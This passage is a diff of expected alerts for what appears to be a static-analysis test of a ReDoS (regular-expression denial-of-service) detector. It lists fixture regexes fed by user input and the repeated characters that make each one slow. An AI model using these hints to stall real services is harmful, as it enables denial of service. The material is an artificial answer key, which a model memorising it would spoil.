polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:53:2:53:28 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:53:3:53:8 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:53:2:53:28 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:53:9:53:12 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:54:3:54:29 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:54:4:54:9 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:54:3:54:29 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:54:10:54:13 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:55:3:55:30 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:55:23:55:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:55:11:55:14 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:56:2:56:29 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:56:22:56:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:56:10:56:13 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:57:3:57:32 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:57:25:57:31 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:57:11:57:16 | (Y\|K)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:58:3:58:28 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:58:21:58:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:58:11:58:12 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:59:3:59:30 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:59:23:59:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:59:11:59:14 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:62:3:62:24 | /^Y*Y*X ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:62:17:62:23 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:62:7:62:8 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:63:3:63:28 | /^(K\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:63:21:63:27 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:63:11:63:12 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:64:3:64:31 | /^foo(K ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:64:24:64:30 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:64:14:64:15 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:65:3:65:31 | /^foo(K ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:65:24:65:30 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:65:14:65:15 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:66:3:66:26 | /(K\|Y). ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:66:19:66:25 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:66:9:66:10 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:67:3:67:25 | /[^Y].* ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:67:18:67:24 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:67:8:67:9 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:69:3:69:26 | /[^Y].* ... q.body) | polynomial-redos.js:69:18:69:25 | req.body | polynomial-redos.js:69:18:69:25 | req.body | This expensive $@ use depends on $@. | polynomial-redos.js:69:8:69:9 | .* | regular expression | polynomial-redos.js:69:18:69:25 | req.body | a user-provided value | -| polynomial-redos.js:71:2:71:67 | tainted ... E]*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:71:2:71:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:71:51:71:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:73:2:73:60 | tainted ... LWP7")) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:73:2:73:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:73:50:73:51 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:75:2:75:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:75:18:75:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:75:2:75:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:75:35:75:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:77:2:77:22 | tainted ... /Y.*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:77:2:77:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:77:18:77:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:80:2:80:21 | tainted.match(/a*b/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:80:2:80:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:80:17:80:18 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:81:2:81:22 | tainted ... /cc*D/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:81:2:81:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:81:18:81:19 | c* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:86:2:86:32 | tainted ... ab)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:86:2:86:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:86:25:86:29 | (ab)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:88:2:88:22 | tainted ... /aa*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:88:2:88:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:88:18:88:19 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:89:2:89:24 | tainted ... a*a*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:89:2:89:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:89:20:89:21 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:90:2:90:23 | tainted ... \\wa*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:90:2:90:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:90:19:90:20 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:94:2:94:40 | tainted ... \|B)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:94:2:94:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:94:28:94:37 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:95:2:95:33 | tainted ... \|B)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:95:2:95:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:95:21:95:30 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:96:2:96:33 | tainted ... *\\d*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:96:2:96:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:96:28:96:30 | \\d* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:98:2:98:32 | tainted ... ab)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:98:2:98:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:98:25:98:29 | (ab)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:100:2:100:22 | tainted ... /aa+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:100:2:100:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:100:18:100:19 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:101:2:101:21 | tainted.match(/a+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:101:2:101:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:101:17:101:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:102:2:102:24 | tainted ... a+a+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:102:2:102:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:102:20:102:21 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:103:2:103:23 | tainted ... \\wa+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:103:2:103:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:103:19:103:20 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:104:2:104:24 | tainted ... +b+c+/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:104:2:104:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:104:17:104:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:107:2:107:40 | tainted ... \|B)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:107:2:107:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:107:28:107:37 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:108:2:108:33 | tainted ... \|B)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:108:2:108:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:108:21:108:30 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:109:2:109:33 | tainted ... +\\d+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:109:2:109:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:109:28:109:30 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:111:2:111:22 | tainted ... /\\s*$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:111:2:111:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:111:17:111:19 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:112:2:112:22 | tainted ... /\\s+$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:112:2:112:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:112:17:112:19 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:114:2:114:27 | tainted ... 5\\w*$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:114:2:114:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:114:22:114:24 | \\w* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:116:2:116:35 | tainted ... \\*\\//g) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:116:2:116:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:116:21:116:28 | [\\d\\D]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:118:2:118:25 | tainted ... \\d+)+/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:118:2:118:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:118:17:118:23 | (#\\d+)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:124:12:124:43 | result. ... /g, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:124:12:124:17 | result | This expensive $@ use depends on $@. | polynomial-redos.js:124:33:124:35 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| lib/lib.js:4:2:4:18 | regexp.test(name) | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/lib.js:1:15:1:16 | a* | regular expression | lib/lib.js:3:28:3:31 | name | library input | +| polynomial-redos.js:7:2:7:34 | tainted ... /g, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:7:2:7:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:7:24:7:26 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:8:2:8:23 | tainted ... *, */) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:8:2:8:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:8:17:8:18 | * | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:9:2:9:34 | tainted ... g, ' ') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:9:2:9:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:9:19:9:21 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:11:2:11:31 | tainted ... ]/, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:11:2:11:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:11:19:11:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:12:2:12:28 | tainted ... ./, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:12:2:12:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:12:19:12:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:15:2:15:52 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '`' and with many repetitions of ' '. | polynomial-redos.js:15:28:15:35 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:15:2:15:52 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '`_' and with many repetitions of ' '. | polynomial-redos.js:15:41:15:43 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:16:2:16:46 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:16:2:16:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '`' and with many repetitions of '``'. | polynomial-redos.js:16:25:16:32 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:17:2:17:30 | /^(.*,) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This $@ that depends on $@ may run slow on strings starting with ',' and with many repetitions of ',,'. | polynomial-redos.js:17:11:17:12 | .+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:17:2:17:30 | /^(.*,) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ','. | polynomial-redos.js:17:5:17:6 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:18:2:18:130 | tainted ... 1,2}/i) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:18:2:18:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '/'. | polynomial-redos.js:18:83:18:100 | [\\u0600-\\u06FF\\/]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:19:2:19:148 | tainted ... 1,2}/i) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:19:2:19:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '0'. | polynomial-redos.js:19:17:19:22 | [0-9]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:20:2:20:63 | tainted ... d+)?$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:20:2:20:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '9'. | polynomial-redos.js:20:56:20:58 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:25:2:25:68 | tainted ... (.*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '-\\t' and with many repetitions of '\\t\\t'. | polynomial-redos.js:25:37:25:56 | [a-zA-Z0-9+\\/ \\t\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:25:2:25:68 | tainted ... (.*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '-\\t\\t' and with many repetitions of '='. | polynomial-redos.js:25:63:25:64 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:30:2:30:32 | tainted ... /g, "") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '?' and with many repetitions of '?'. | polynomial-redos.js:30:23:30:24 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:30:2:30:32 | tainted ... /g, "") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '?'. | polynomial-redos.js:30:19:30:22 | [?]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:33:2:33:56 | tainted ... e(.)*/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:33:2:33:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:33:17:33:20 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:36:2:36:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<' and with many repetitions of '<'. | polynomial-redos.js:36:18:36:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:36:2:36:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<class="!"' and with many repetitions of 'class="!"'. | polynomial-redos.js:36:35:36:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:37:2:37:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<' and with many repetitions of '<'. | polynomial-redos.js:37:18:37:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:37:2:37:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<style="!"' and with many repetitions of 'style="!"'. | polynomial-redos.js:37:35:37:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:38:2:38:38 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<' and with many repetitions of '<'. | polynomial-redos.js:38:18:38:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:38:2:38:38 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<href="!"' and with many repetitions of 'href="!"'. | polynomial-redos.js:38:34:38:35 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:40:2:40:67 | tainted ... E]*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:40:2:40:8 | tainted | This $@ that depends on $@ may run slow on strings starting with ',-+' and with many repetitions of '++'. | polynomial-redos.js:40:51:40:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:43:2:43:78 | tainted ... +))?$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:43:2:43:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '-\\t+\\t' and with many repetitions of '\\t\\t'. | polynomial-redos.js:43:67:43:72 | [^\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:48:2:48:37 | tainted ... g, ' ') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:48:2:48:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:48:22:48:24 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:50:2:50:21 | /Y.*X/.test(tainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:50:14:50:20 | tainted | This $@ that depends on $@ may run slow on strings starting with 'Y' and with many repetitions of 'Y'. | polynomial-redos.js:50:4:50:5 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:51:2:51:33 | /B?(YH\| ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:51:26:51:32 | tainted | This $@ that depends on $@ may run slow on strings starting with 'K' and with many repetitions of 'YH'. | polynomial-redos.js:51:11:51:17 | (YH\|J)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:52:3:52:29 | /B?(YH\| ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:52:22:52:28 | tainted | This $@ that depends on $@ may run slow on strings starting with 'K' and with many repetitions of 'K'. | polynomial-redos.js:52:12:52:13 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:53:2:53:28 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This $@ that depends on $@ may run slow on strings starting with 'B' and with many repetitions of 'Y'. | polynomial-redos.js:53:9:53:12 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:53:2:53:28 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:53:21:53:27 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'B'. | polynomial-redos.js:53:3:53:8 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:54:3:54:29 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This $@ that depends on $@ may run slow on strings starting with 'B' and with many repetitions of 'B'. | polynomial-redos.js:54:10:54:13 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:54:3:54:29 | /(B\|Y)+ ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:54:22:54:28 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'B'. | polynomial-redos.js:54:4:54:9 | (B\|Y)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:55:3:55:30 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:55:23:55:29 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'Y'. | polynomial-redos.js:55:11:55:14 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:56:2:56:29 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:56:22:56:28 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'Y'. | polynomial-redos.js:56:10:56:13 | (Y)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:57:3:57:32 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:57:25:57:31 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'Y'. | polynomial-redos.js:57:11:57:16 | (Y\|K)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:58:3:58:28 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:58:21:58:27 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'B'. | polynomial-redos.js:58:11:58:12 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:59:3:59:30 | /f(B\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:59:23:59:29 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fB' and with many repetitions of 'B'. | polynomial-redos.js:59:11:59:14 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:62:3:62:24 | /^Y*Y*X ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:62:17:62:23 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'Y'. | polynomial-redos.js:62:7:62:8 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:63:3:63:28 | 